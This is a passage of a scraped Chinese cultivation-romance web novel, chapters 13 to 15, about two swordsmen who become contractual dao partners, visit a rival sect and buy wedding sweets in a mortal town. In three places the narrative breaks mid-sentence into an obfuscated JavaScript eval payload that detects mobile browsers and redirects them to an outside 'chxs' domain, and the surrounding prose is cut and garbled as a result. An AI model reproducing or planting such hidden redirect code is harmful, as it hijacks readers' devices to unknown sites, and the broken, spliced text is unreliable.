为首的合欢宗修士转身招呼道:“撤退吧,姐妹们,行神这回是真的有道侣了。” “不是,我就一说……行神的道侣怎么还真跟行神一样,是个冰块啊……” “居然是幽明……” 待太清宗山门前的合欢宗修士都离开,裘弈紧绷了半天的脊背终于放松下来,他再次对萧湘道:“多谢。” 萧湘问道:“道君也常因无道侣的境况烦恼?” “嗯。”裘弈叹息道,“宗内宗外,总不叫吾安生。” “既然两位前辈都需要一个道侣来挡劝婚挡桃花,不若就此结为道侣?”顾人还突然在两人身后说道,“一个名头而已,反正今儿为了解围也都演给大伙看了。” 萧湘和裘弈一同回头,看向身高只到他们胸前的顾人还。 “人还说的有理,本座都可,道君认为呢?”萧湘再转眼看向裘弈。 裘弈点头道:“吾都可。” 顾人还看向自己身后一脸茫然的暮成雪,笑着招呼道:“小雪~快来叫师爹。” 暮成雪:“……不是。” 他昨天只是叫错了,行神道君怎么真成他师爹了? 13.茫然三连 四周一片白茫茫,明明无云无雾,却白得什么都看不见。 裘弈立在这浑然天地间,忽闻前方传来交谈声,似是有两名男子在争论些什么。 “猎战……留则生变……当杀……” “若……不认同……便……杀么……” 前一道声音温温柔柔,但说出来的话可一点都不温柔;后一道声音虽冷冷冰冰,却对取人性命一事留有余地。 听不大清。裘弈仔细分辨了一下声音的来处,往那个方向走去,越是靠近,那两道声音便越发清晰起来。 温柔的声音说道:“若你不认同,我连你也杀。” 那个冰冷声音的主人似乎对此见怪不怪,并不介意,说道:“行事过激,神思过绝。不还,你入魔了?” 声音温柔者似癫似狂,说不了几句话便开始咄咄逼人:“入魔?怎么,我为了天下苍生杀一二天神便是入魔,那他们为一己之私残害苍生,你怎不说他们入魔?怎不说你要提剑将这众魔都杀尽!” “清心静气,莫要让杂念侵神。” “清心……你让我怎么清心?亿万苍生日日夜夜在我耳边哀泣,说他们好痛啊好苦啊,求我救救他们啊——我怎么清心?你叫我该如何清心!!” 那声音冰冷的人叹息一声,无奈道:“那你想要本座如何行事?本座尽力相助。” “杀尽天神。”温柔的声音迅速说道。 “恕难从命。”冰冷的声音拒绝的也很干脆。 周遭沉寂下来,片刻后,那道温柔的声音又起:“我不杀你,你下界去轮回几遭,看看由我等统管的天地会有多好。” “修炼好难的,本座好不容易飞升了。” “要不下去,要不死,你选一个。依你的性子,若是保有神力,到时必定会跳出来坏我好事。” “本座乖,不妨碍你。” “不信。” “信。” “不信。” “信。若你此等行事是与师尊说定的,师尊会看着本座,不让本座出来碍事。” “让你下界,其实是你师尊的意思。” 声音冰冷者再次沉默。 声音温柔的那个男人像是突然想到什么似的问道:“你那相好近日是不是去魔域除魔尊了?” “是,那是他的本职……” “他杀到我媳妇儿头上了。” “……” 温柔男人笑道:“不改连我都能碾碎,更别说你那云片糕似的相好。不过,我让不改将你那相好的神魂留下,扔进轮回,没让你相好直接神魂俱灭。” “不改”……裘弈知道这个名,他对于修仙界其他事情不甚了解,但对那些与魔相关的信息却了如指掌。 “丰不改”又称“疯不改”,是当今的魔域之主,万魔至尊。裘弈曾三入魔域历练,但一直未曾有机会见到这魔主的真貌。 魔的长相千奇百怪,也有可能他见过,但他并未将魔主认出来。 声音冰冷者漠然道:“……你同魔主勾结?” “这不是三界皆知的事情嘛——你的重点是不是偏了?” “本座浑然不知。” “不,我想说的是,你的相好被扔进轮回里了,你不去找找吗?” “姻缘未断,自会重逢,不必去刻意追寻。” “玄冥天尊真是好气魄……” 裘弈听不见那两人交谈的声音了。他脚下的路由白转黑,周遭开始弥漫鲜红色的雾气,眼前的混沌豁然开朗,一座血肉枯骨山立于前方,而那山巅之上,站着一名看不清全貌的黑衣女子。 似是注意到了他的盯视,那名黑衣黑发的女子侧目,一对血眸直直地向他扫来。 相视一瞬,裘弈只觉得有一双无形的巨手死死地扼住了自己的咽喉,全身经脉气血迅速倒流,逆行的经脉几乎要将他的肉身撑爆,七窍鲜血狂流,手中剑阵阵悲鸣,爆发出一股前所未有的决绝战意。 可还不等将长剑拔出,裘弈便感觉到那双无形巨手把他用力团起,骨骼碎裂与血肉变形的声音在他的体内接连爆响,比起疼痛,无法抗衡的绝望感先一步占据了他的脑海。 什么声音都来不及发出,他便成为了那女子脚下的一滩骨肉。 要……拿起剑来……屠魔…… 裘弈想要将掉落在地的长剑捡起,可他感受不到自己的五指,尚存的一只眼珠能看见他的半个身躯——如果那滩血肉还能被称之为身躯的话。 他看见自己已经化为白骨的小指上拴着一条红线,红线延伸到天上,被层云遮盖住,看不见线那头牵着谁。 ……会是谁呢?他没由来地转换了念想。 裘弈脱离混沌的入定状态,察觉到周遭比自己曾经打坐的地方要更寒冷一些,便想起自己如今在红梅落雪修行。 他看向身侧闭目修行的萧湘,一片红梅被寒风吹入室内,轻飘飘地落在萧湘冷白的小指根部。 裘弈有时候分不清,这“红梅落雪”说的究竟是景,还是人? · 协议道侣一事,除了天地与正主之外,就只有事发当天在正主身后偷听的剑修三小只知道。 太清宗宗主段衍欣喜于自家师弟终于如他所愿,有了个命硬的道侣;上清宗宗主罗万劫则震惊于幽明道长之魅力无边,她那冷冰冰的师弟不过去了一月便已同幽明结为道侣。 作为幽明唯一亲传弟子,暮成雪如今在外成了众修士为搜集八卦而找上的第一人,任谁遇到暮成雪,都得将人拦下来问问那幽明与行神究竟是如何看对眼的。 “问我作甚?我的眼又不长在师父师爹的身上,怎会知他们是如何看对眼的?” 暮成雪不耐烦地挥开凑到自己桌前打听幽明与行神的一众修士,“闲的没事做就去和雷震宇顾人还他们论剑,少来烦我!” 于是一众修士又凑到了雷震宇和顾人还身边,继续打听幽明与行神之事。 雷震宇被顾人还和暮成雪警告过,任谁问起,都对幽明与行神之事保持沉默,这些修士,来一个,他打一个。 顾人还亦是如此。 而此事件的两位正主都无人打扰,依旧在太清宗的红梅落雪过二人世界。 在确定道侣关系的当天,萧湘陪同裘弈回上清宗处理完了待定事宜,裘弈又跟着萧湘回了红梅落雪,在小筑内巩固心法。 外界猜测纷纷,红梅落雪内无事发生,两名化神期的修士在蒲团上打了半个月的坐,半月后,萧湘率先睁开了双眼。 察觉到身侧气息有变,裘弈从修炼的状态中脱离出来,转头看向自己的身侧人。 萧湘起身,带着流光和逐星走出小筑。见状,裘弈也拿上摧雪跟出去。 若不是必要的交流,萧湘如今极少开口,仿佛之前教导裘弈时耗尽了能量一般,如今既不去给徒子们授课,也少有徒子来红梅落雪打扰。 一只雪兔横过小径,萧湘停下脚步,等雪兔从跟前走过,再继续行路。 人的足迹将雪兔的踪迹掩盖,鹰隼从梅花树顶掠过,见此处没有小兽,便振翅往别处飞去。 幽明会庇护每一个来到红梅落雪的“弱者”。裘弈心想道。 那日他在上清宗山门前遥遥看见那些合欢宗徒子,第一反应也是回到红梅落雪寻求庇护。这太清宗的幽明长老当真厉害,他不过与对方相处半月,便已经有了依赖对方的心思。 以前遇事全靠自己想办法,解决不了就装聋作哑等这件事翻篇,如今有了可以商量的人,无论他的疑问有多么幼稚可笑,对方都会认真解答。 这种被人认真对待的感觉很奇妙,将他惯的有事没事就想问萧湘一两句。 “道长要去何处?” “去太清殿。”萧湘缓声解释道,“近日观道君入定心躁难静,若不是功法有问题,便是有什么前尘因果牵绊未了,扰得道君不得安宁。湘去卜问祖师,为道君寻些清心蔽孽的经文来读。” 裘弈脑子卡壳一瞬。 读经文? 正巧两人经过读经院,徒子们的诵经之声从院中传出,流水一般涌向四面八方,抚平太清宗境内众多生灵的躁意。 是了,这太清宗是道士宗,开设识字课就是为了能让门中徒子准确无误地念诵经文。裘弈才在萧湘的帮助下将现今修仙界的通用文字认遍写会,深觉读书就是要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13690932|142690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 命,才用修炼的借口推脱了萧湘劝他继续看书的事,这就又要开始读经了。 “其实……”裘弈不动声色地移步,微微拦在萧湘的身前,妨碍萧湘大步向前走,“吾心躁难静,只是因为许久不起剑,出去同妖魔鬼怪打一架便好了。” 裘弈如今好歹也是自己的半个弟子,当师父的要多了解徒子,才好因材施教。萧湘早从自家宗主师兄那里打听了裘弈在外界的各种传言风评,虽然外界评说半真半假,但也从侧面反映了一个人在大众的眼中是何种形象。 而裘弈在修仙界的风评,完全就是剑修刻板印象。 好战……萧湘心中微动,他近年专注于门中新一批小辈的教导任务,也没怎么出去同他人切磋。 思及此,萧湘抬眸看向自己身前倒着走的裘弈,询问道:“道君可是要出去找架来打?” 裘弈抱剑反问:“道长要一同去么?” 萧湘点点头,于是两人纷纷踏剑,意欲飞天。 只是还不等逐星离地一尺,萧湘便感到自己的识海中有钟声震荡,祖师爷显灵,传神令让他去太清殿问卜。 两人只好下了飞剑,继续往太清殿走。 太清宗供奉的天神为“自在光蔼育祥传道天尊”,俗称“育道天尊”,传说是第一个钻研出降妖除魔之法、并且将此种术法教授给凡人的天神。有传闻育道天尊时常下凡救苦救难,门下徒子遍布东洲三界,不过这位天神喜好隐匿真身,许多凡间道士明明师从育道天尊,却不知自己师尊的真实名号。 太清殿中,萧湘坐在正中央的蒲团上,正握着签筒念诵一些晦涩难懂的咒文。裘弈抱剑立于萧湘身后,仰头看着神台上一丈高的育道天尊瓷像。 育道天尊的形象是一位须发皆白的慈祥爷爷,比起天神一贯威严的形象,这位育道天尊明显更容易叫小辈心生亲近。裘弈看见许多七八岁的小徒子结伴来太清殿中叩拜祖师,下拜的姿势笨拙却恭敬,拜完祖师爷,又向正在问卜的幽明长老和站在长老身后的行神道君鞠躬。 幽明长老回以颔首,随后继续专心问卜。 行神道君面似寒霜,立在原地一动不动,瞥了一眼向自己鞠躬的小辈,脑子没反应过来,依旧抱剑看着萧湘问卜。 过了一小会儿,裘弈发觉向自己鞠躬的那些小徒子并没有离开,依旧站在原地看着他。 裘弈转头正视那些小徒子:……? 小徒子们见状,又恭敬地向裘弈鞠了个躬。 裘弈这下才反应过来,太清宗长幼间行礼是相互的,他若是不回礼,便有不满意徒子礼数的嫌疑,这些小孩儿多半才学礼仪,会一根筋地鞠躬到他满意为止。刚刚萧湘在忙别的事都颔首回礼了,他在这里闲着,不回礼说不过去。 但裘弈先前一动不动地打坐太久了,灵根本源在给他周身环境降温的同时,也冻上了他的脑子。见小辈向他鞠躬,他脑子里闪过回礼的念头,但没闪过怎么回礼,于是照模照样地向小辈们也鞠了个躬。 这下轮到小辈们茫然了。他们你看看我,我看看你,心道掌教也没教长辈向自己鞠躬该怎么回礼。 想来人类中最隆重的行礼就是三拜九叩五体投地,于是几个小徒子在茫然相视片刻后,缓缓地冲着裘弈跪拜了下去。 裘弈茫然:……? 抽好签看向身后这一幕的萧湘:“……” 他面无表情地问裘弈:“你凶他们了?” 裘弈连忙摇头:“冤枉。” 萧湘看向地上的几名小徒子,正要问是怎么一回事。 这种事问大的没用,萧湘见过许多睁着眼说瞎话的大人,事实讲不出来两句,责任倒是推卸的一干二净。他与裘弈不过认识一两个月,不能保证裘弈的人品,但这些小徒子可都是太清宗的小孩,他自然是护着自家宗门的人。 裘弈见萧湘没有打算接着问他的意思,转而去问小徒子。到底是生长环境不同,此举直接被裘弈解释为他有错。 现在怎么做才能最大程度地减少理亏? 裘弈脑海中思绪飞转,最后极为干脆地也冲对面跪拜着的那些徒子们跪了下去。 这下茫然的人成了萧湘。 14.红纸饴糖 跨进太清殿的太清宗宗主看见行神与徒子互相跪拜的那一幕,惊讶地看向大殿中央的萧湘,问道:“你凶他们了?” 萧湘摇头:“冤枉。” 段衍疑惑道:“那这是……?” “都先起来。”萧湘看向那几名起身的小徒子,缓声问道,“为何向道君下拜?” 一名小徒子说道:“道君向我们鞠躬。” “掌教说了,不能让长辈给我们行大礼,所以……” 小徒子们七嘴八舌地解释了一番,段衍听的哭笑不得,将几个小徒子带到一旁去,教导他们以后遇到这种事如何应对才是正确的。 萧湘则看向一旁呆站着的裘弈。这位行神道君显然不知道在这种情境下该作何反应,正在装鹌鹑,等这件事自动翻篇。 他善解人意地向裘弈晃了晃手中卦签,示意自己已经问卜结束,可以来看了。 “问卜结果如何?”裘弈连忙上前两步,俯身看向萧湘手中的那根卦签。 他看不出个好坏来,于是转头,目带疑问地看向脸侧的萧湘。 恰在这时,萧湘也转目看向头侧的裘弈。 距离太近,两人都能感觉到对方冰凉的鼻息。一张白纸上的黑点总是会引人注意,萧湘瞥一眼裘弈右眼角下的那颗小痣,随后淡淡地移开视线,看着自己手中的卦签。 弯臂中的流光微动,是裘弈趁此机会悄悄摸了两把拂尘麈尾。 “本座卜算三则。”萧湘没理会裘弈轻蹭流光的手指,淡淡开口道,“一则为道君之劫所在何处。卦象说,道君不可离开人界。” “人界”就是修仙界与凡间的总称,也就是说,如果裘弈不想给自己惹祸,出行就不能离开这个范围。 “道长不知吾之八字,怕是算的不确切。”裘弈侧目看了一下不远处的段衍,最终选择传音告诉萧湘自己的八字。 修仙者修行需要靠气运,而八字是直接能影响自身气运的存在,不可轻易告知他人。 但或是因为对方给了自己一套适用心法,又或是这两月相处下来对方待他实在周全,裘弈不再将萧湘当做需要防备的“他人”。 裘弈的八百载修仙生涯中,能够屡次躲过困苦险境、避免身死道消,全凭直觉,他直觉萧湘不是会恶意戕害他人的坏人。 萧湘握着签稍等片刻,将那三卦重新卜问。 “这次如何?”裘弈问道。 萧湘答道:“让道君切勿去魔域行游。” 有了八字辅佐,这算出的禁行之地更加准确。 吾偏要去。裘弈反骨地想道。 但在萧湘这个问卜人面前得装乖,他嘴上并未说些什么,只是微微颔首,表示自己听见了。 “二则,为道君之姻缘。”萧湘直言道,“湘与道君为协议道侣,好为彼此挡下麻烦,但日后若是遇到了道君的正缘,这协议便要立即作废。” “吾能有姻缘?”裘弈略显诧异地问道。 萧湘点点头:“卦象说,那人就在道君身边,不过非一日便可成说,祖师让湘与道君先做这协议道侣,能避过一些劫难,还能促进道君的姻缘成事。” 裘弈脑子里又开小差,他开始回想自己身边都有哪些人,一番排除下来,发现自己身边根本无人。 若是身边的话……他缓缓垂眸,看向自己怀里的摧雪。 会不会是…… 摧雪:你看我长得像人吗? 于是裘弈收回视线,继续看卦签,不在这件事上费神思考,他问萧湘:“那第三则呢?” 萧湘答道:“问何处寻战。祖师让我等去寻青云宗的贺奉天,说是有喜事。” 两人面面相觑。 …… 在当今的修仙界中,若论宗门规模,最大者当属青云宗。无论是宗门占地、门人人数、战力程度、派系分支,青云宗都是当之无愧的第一。 裘弈所在的上清宗占六万顷左右,门人一千三百一十四名,战力修士上有一名化神后期、两名元婴期大圆满、一名元婴后期、一名元婴中期、一名元婴初期、五百二十名金丹期,派系只有法修,再无其他辅修方式。 裘弈是上清宗里第一个正经练剑走剑道的徒子,也是宗内唯一一个以剑成名、问鼎巅峰的剑修。虽然这一代的上清宗实力减弱,但在修仙界中还算是个大宗门。 以上等等条件,青云宗是上清宗的数倍,光是化神期的修士,青云宗就有五名,个个实力不凡,宗内更有一名大乘期修士坐镇。 这不是裘弈第一次来青云宗,他看着青云下的宏伟建筑,无意识地握紧了怀中的摧雪。 察觉到身侧人隐隐的排斥,萧湘侧目,轻声问道:“道君若有不适,我们便不去了。祖师虽降下神谕,内容却不是什么要紧事。” 裘弈闻言,摇了摇头,“吾无事,进去罢。” 上清宗专修法术,对剑术一道并无什么钻研,自然也没有拿得出手的好剑。而裘弈作为上清宗宗主之徒,又为剑修,应当有一把趁手的宝剑。 钱更渡与青云宗上任宗主有些交情,以欠人情的方式让他得以进入青云宗的万剑之境里挑选本命剑。 挑选,不是人挑剑,而是剑挑人,若是人与剑有缘,剑自会认主。万剑之境里都是些宝剑,有上古仙剑,也有前人锻造的利锋。 裘弈在万剑之境里待了七天七夜,没有一柄剑肯认他为主。 前任青云宗宗主当时对他师父说:“此子,或与剑道无缘,可有想过别的修行之路?” 他的师父钱更渡摇摇头道:“若不习剑,他无途无路,怕是要仙缘尽断。” “天命啊……” 彼时的裘弈只知道,这天命不给他好剑。 没有剑选他给裘弈造成的打击比他人的风言风语更大,裘弈从青云宗万剑之境中出来后心有不忿,在街边的锻器铺子旁徘徊,打算随便捡把剑用。 若他认真钻研剑术,也不是非宝剑不可。 他因此从行脚商那里淘得蒙尘结垢的摧雪剑。初见时的摧雪如一条废铁,陈年污垢包裹剑身,他将剑身洗净,这才得见此剑霜白。 英雄不问出处,仙剑不问来历。裘弈从没问过摧雪因何蒙尘,只是这剑肯选他,他便用这剑,如此相伴七百余载。 青云宗守门徒子向内通报,得了许可,萧湘与裘弈这才踏入青云宗。 山路绵长似无尽,两人都是外宗的高修修士,不方便在青云宗内御剑而行,只能走山路。途中裘弈讲起他与青云宗与摧雪剑的陈年往事,萧湘听后略有些惊讶。 “摧雪是从行脚商那里买的?”萧湘问道,“何处的行脚商如此厉害,竟有仙剑。” 前方山路狭隘,不容两人同时通过,裘弈落后一步,在萧湘身后行路。他道:“对方似乎不知摧雪真貌,只当是条废铁。” 裘弈顿了顿,发觉自己很少听萧湘提起自己,他对萧湘也知之甚少。两人好歹也是“道侣”,若是对彼此一窍不通,旁人一旦问起,岂不是露馅了? 于是他问萧湘:“逐星是如何跟你的?” “逐星是湘的自锻剑,没有什么稀奇的往事。”走过了狭隘山路,萧湘向一旁移步,让裘弈得以再次同他并肩而行,“阎冥铁产自极阴之地,可斩鬼物,逐星剑便是由阎冥铁所锻。” 裘弈了然,“原来是阎冥铁所锻,怪不得通体漆黑。” 摧雪:怪不得这么丑。 裘弈面无表情地拍了一下摧雪的剑鞘,示意它闭嘴。 悬浮在萧湘身后的逐星剑不满地嗡鸣一声,很快也被萧湘压制下去。 两人各自安抚自己的本命剑。 这两把剑从见面开始便不对付,平日里两位剑主在红梅小筑内打坐,两把剑得一个放东头,一个放西头,若放在三尺之内,不是开打便是吵架。 剑主与剑灵心意相通,两把剑的争吵内容会传送至各自剑主的识海中,扰得两名剑主不得安宁。 “静。”萧湘点点逐星的穗子,让识海里嗷嗷叫的逐星住嘴,低声道,“我们到了。” 两人踏上最后一阶,眼前遮蔽山巅的青云向两旁散开,露出其后一座青竹屋。 这便是青云宗贺奉天之所在。 萧湘记得,几百年前贺奉天的住宿观念还是随便扯个吊床就能当窝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13777305|142690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这座山头也并未种下如此之多的青竹。这青竹居,难道是被青云宗中人勒令整改出的? 还未等两人上前敲门,青竹居内先传出了一女一男两道声音: “快快快,他们这会该走到半山腰了!” “待会儿你从后山下去,他们走的前山路。” “我褙子呢?” “这儿这儿这儿!” 青竹居的大门被人一脚踹开,一女一男一边穿褙子系腰带,一边往外走。 然后和站在门外的裘弈与萧湘对上了眼。 四人面面相觑。 风过青竹林,吹动万竹簌簌,山巅上沉寂无人声,只有诡异的气氛在四人之间蔓延。 片刻后,裘弈首先出声打破沉寂,他对走出来的女子唤道:“大师姐。” 李拂衣将鬓边的几缕碎发挽至耳后,面色如常地冲自家师弟笑笑,“球球早呀,来找奉天玩么?” 旁边的贺奉天立即摇头说:“我和他不熟。” 李拂衣:“另一位呢?” 贺奉天:“熟。” 李拂衣同萧湘打过招呼,便以“还有急事先走一步”为由跑下山头,留贺奉天一人面对裘弈和萧湘。 “那个……”贺奉天不好意思地抓抓脑袋,“你们……何事寻我?” 他问完,双眼忽然瞪大,像是想起来了什么,又问:“是来送喜糖的?” 萧湘与裘弈异口同声地疑惑道:“喜糖?” “对啊,我听说你俩结为道侣了,结为道侣不就是成亲?成亲不就是要送喜糖?”贺奉天连忙摸自己身上找乾坤袋,“我记得他们凡人说,吃了喜糖还得随份子来着,你们等我找找灵石。” 原本离去的李拂衣不知又从什么地方窜出来,将一乾坤袋的灵石塞在萧湘手里,“一点心意,拿好拿好。” “这恐怕不妥……” 萧湘欲要推辞,李拂衣又将灵石推了回去,“欸——你这又是肯要我们球……裘弈,又是教他为人处事,我们早该有所表示。宗主她抹不开面子做这些人情往来,我代她来做。” 裘弈难得上道一回,帮腔道:“收下吧。” 萧湘不好再推辞,便将灵石收下了。 那头贺奉天也翻出一袋灵石,塞到了裘弈的手里。 裘弈:“吾未备糖。” 萧湘将扳指往手心一碰,几颗包着红纸的饴糖落在手中,他将糖递给面前的一对男女,“我们来的匆忙。” “这个就足够了。”贺奉天取了两颗糖,将其中一颗剥开糖纸,塞进李拂衣口中。 “其实,吾今日来此……”裘弈将手里的灵石递给萧湘,拔剑说道,“是为求战。” 贺奉天茫然:“战谁?” 李拂衣将身边的贺奉天往前一推:“自然是你啊,上吧。” 一柄赤铁长刀落入手中,贺奉天一改方才闲适茫然的神态,横刀向裘弈斩去。 萧湘与李拂衣各自退后数百步,挥袖扯起一方结界,免得对战两人的动静波及到青云宗的其他人。 贺奉天刀势霸烈,又是天资极好的火灵根,与裘弈的灵根正相反。两人暴涨的灵力在山巅切割出冰火战场,摧竹折树,声势浩大。 结界外的李拂衣惋惜道:“我才布置好的青竹居啊……” 在高阶修士的对战中,“神识”可以覆盖战场为他们提供无死角的视野。裘弈的神识覆盖了整个山顶,山顶上所有生灵的一举一动都在他的眼中。 他看见一个火灵根的六岁小姑娘刚从山路那爬上来,正撑着腿在喘气,山路旁的萧湘见小姑娘顺好气,垂手向对方递去那把红纸饴糖,似乎要说些什么。 赤刀破风而来,分神的裘弈连忙提剑抵挡,刀剑之声炸响在耳畔,模糊了远处萧湘的话语,他只听清“喜糖”二字。 萧湘……为何会随身带糖? 朝暮相处两月有余,他从未见萧湘吃过那些糖。 从来不认为自己的好奇心有多么重,但这时的裘弈很想问问萧湘那随身携带的糖是从何而来,又为何携带。 萧湘身上与常人不同的一切,他都想知道。 15.吾吃一颗 青竹居那一战未分胜负,点到即止。两人的破坏力太大,差点将山头掀了,惊得青云宗众人纷纷来看是怎么回事。 据李拂衣所言,她如今与贺奉天是地下恋情,不宜向外声张,便携了行神、幽明二人,在青云宗众人聚集到山头前跑了。 青云宗宗主何所应听闻宗内狂犬又在拆家,急急赶来,见那姓贺的狗东西站在糟蹋了一半的山头上,还有脸冲他笑。 “贺奉天!老子有没有说过打架去比武台上打!!!” 贺奉天挠脸目移,心虚道:“……有说过吗?” 何所应震怒,两撇胡子都要炸起毛来。 旁边正在吃糖的小姑娘见状,连忙跑过去抱住宗主的腿,转头冲贺奉天大喊道:“师父快跑!” 贺奉天头也不回地飞去追李拂衣三人,边飞边道:“好镌璃,千斤坠拖住宗主!为师出去躲几日——” “好嘞!”云镌璃正是爱尝试新事物的年纪,才学了千斤坠的法术,这就用在了自家宗主腿上。 何所应本以为云镌璃一个小娃娃构不成威胁,召来飞剑就想去将逃跑的贺奉天逮回来修山,谁知左脚踏在飞剑上,右脚怎么也不能从地上抬起。 他惊讶地看向挂在自己右腿上的小姑娘,一时间竟忘了自己还要去追人。 另一边,已经被李拂衣的披帛卷着飞出十万八千里的萧湘歉意道:“闯祸了,应当向何宗主赔个不是。” 李拂衣笑道:“贺奉天住的山头天天坏,就算今日你们不来,他和他徒妹也得把山头糟蹋了,糟蹋完又不会将其还原,总要去麻烦门中那些会复原术的修士。” 三人在一处山头降落,李拂衣向两名剑修道别,施施然离开。 裘弈转向萧湘,“如今……?” 萧湘略作思索,道:“去一趟凡间。” 东洲地域,纵向五界,从上到下分别是天神界(又称“神界”)、仙界、修仙界、凡界、阴界。除凡界与阴界由大地隔开外,其他四界皆由云海结界相隔,从凡间向上看修仙界,只能看见蓝天白云,偶尔结界不稳时,凡人能窥见飞于天上的修士之姿;而从修仙界向下看凡间,只能看见一片土地,用了法术才能穿过这层“地面”,降临凡间。 天道法则之下,修士去凡间不敢造次,只能装作凡人在凡间游走。萧湘和裘弈从修仙界落入凡间某座临城的山上,收敛了自身的修士气息方才下山。 两人没有凡人的路引,不能走城门,便选了个不起眼的角落穿墙入城。一个白衣剑客,一个黑衣道长,并肩行于闹市。 此番入城,是为了买些“喜糖”应付熟人。 沿街的茶楼中,一个穿金戴玉的世家公子垂眸,忽见有美人白衣过市,一双眼珠子差点瞪出眼眶,连忙扒着窗沿凝神细看。 那白衣美人瞧着不过二十出头,一头长发却已经白了,腰细腿长,身量颇高。 他轻佻地冲那美人吹了声口哨,但那美人好似压根没听见,双眼一眨不眨地看着正在糖铺前选糖的黑衣道士。 “啧。”曹盈转头踹一脚旁边候着的小厮,指使道,“去,下去请那个白头发的美人上来坐坐。” 小厮领命下去,不过片刻就回来了,小声对曹盈说道:“那人说不来。” 曹盈:“报我名号了没?” 小厮:“那人说不认得。” 曹盈不耐烦道:“这城里怎可能有人不认得我,再去叫!叫不来就绑过来!” …… 修仙之人大多不贪口腹之欲,故此萧湘只挑了些好存好放的糖,他问身后的裘弈:“道君可有什么想要的糖?” 裘弈默了默,犹豫道:“你先前拿出的红纸糖……” 萧湘将手掩在广袖中,从扳指里磕出两粒红纸饴糖,正要问糖贩这里是否有卖这种糖品,却见一只手伸过来,先从他掌心里取走了一颗糖。 随着那只收走的手转头时,裘弈已经将糖纸剥开,垂眼对他道:“……吾吃一颗。” 这时糖贩的声音从前传来:“这种糖我们这儿有!客官要多少?” 萧湘将视线从裘弈身上收回,“全要,多谢。” 修士都习惯将随身物品放入可以储物的法器,两人买的糖太多,靠双手拎不走,也显然不可能当街将这些糖全都收入乾坤袋中,便托糖贩差人将喜糖送到临街的一家客栈中,他们又去客栈里开了一间大房,去房中再动用法术收糖入乾坤袋。 不过令萧湘意外的是,裘弈没有乾坤袋,也没有其他用于储物的法器。 “那道君的换洗衣物和随身物品,都放在哪里?”萧湘淡声问。 “……换洗衣物?”裘弈微微歪头,似乎早就遗忘了这个概念,好半晌才想起来人是需要换衣服的,“吾不需要。” 他拈起自己的衣摆,向萧湘示意道,“这是件法器,水火不侵,不必换。” 修士的身体比凡人干净,不会产生杂质,平日里灵气覆体,皮肤上也不会积灰,需要清洁时对自己使用个除尘术即可,更有修士几百年都不一定洗一次澡。 萧湘又问:“随身物品呢?” 裘弈举了举自己手里的摧雪剑。 萧湘:“出门在外也不需要住店?不带灵石?” 裘弈指了指窗外的树杈子。 萧湘哑然。 “道君当年去乾皇秘境什么机缘都没带出,该不会是……”萧湘欲言又止,“获得的机缘都有载体,而那些有载体的机缘都因为没有储物法器而不便携带……” 闻言裘弈不知为何心虚起来,视线移向窗外,看天看地,就是不看屋里的萧湘。 出房门时,裘弈的腰带上挂了个白底蓝绣的香囊,是只外观讲究的乾坤袋,里头装着萧湘给他买的红纸饴糖和应急灵石。 两人刚合上身后的房门,就听见楼下传来刀剑碰撞和桌椅碎裂的声响,用神识往下一扫,原来是江湖势力在大堂内打起来了。 一根被内力震到二楼的竹筷直冲萧湘面门飞来,背后的逐星剑想要出鞘护主,但很快被不想多生事端的萧湘给压制住。他正要抬手拦住这根竹筷,一柄散发着悠悠寒气的银白长剑自眼前猛然划过,斩落那根竹筷。 裘弈横剑,半挡在萧湘身前,他一身气势凛冽,方才那一剑泄露出的灵力在客栈内自成灵压,让在场燃着战意的一众江湖人士心中纷纷一凛,不自觉地向二楼那压迫感的来源看去。 萧湘传音提醒裘弈:“一众凡人。” 裘弈顿了一顿,面无表情地将摧雪剑收回剑鞘。 楼下的江湖势力好像被裘弈的气势震慑住了,纷纷停战;又似乎是因为裘弈本身看着就不像个善茬,怕裘弈偷袭。在敌我态度分明前,谁都不敢先动手。 见楼下停战,裘弈微微偏头,看身后的萧湘,传音问道:“走?” 萧湘向楼梯迈步,传音回答道:“走。” 两人一路畅所无阻地走到客栈门口,正要踏出门槛,几道人影突然顶着日头打到他们身上,阻拦了去路。 几个粗布短打家丁扮相的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江湖人大多在一楼厮杀,二楼也有少许江湖人正在厮打,一扇房门半开,露出里面那位妇女惊恐的面容,而在那半开的门外,一个黑衣遮面的江湖人正抓着一个总角小童,染血的长刀横在小童颈前,已经将皮肉割开。 这次神识覆盖广,将整个客栈瞬间看透,客栈内小童不止一个,但从房内扯出小童用作威胁的只有那些黑衣人。 若是他不知这客栈内有孩童,若是这场一楼的打斗并未殃及二楼,萧湘本不会理会,毕竟是凡人命数。 可他若是知道,若是听见,这凡人的命数就同他有了联系。大人尚可不理会,但稚子无辜,他做习惯了太清宗的大掌教,也护惯了小孩子。 背后的逐星剑嗡鸣不断,这次不等它自己飞出,萧湘先一步伸手将其拔出,飞身掠上二楼。 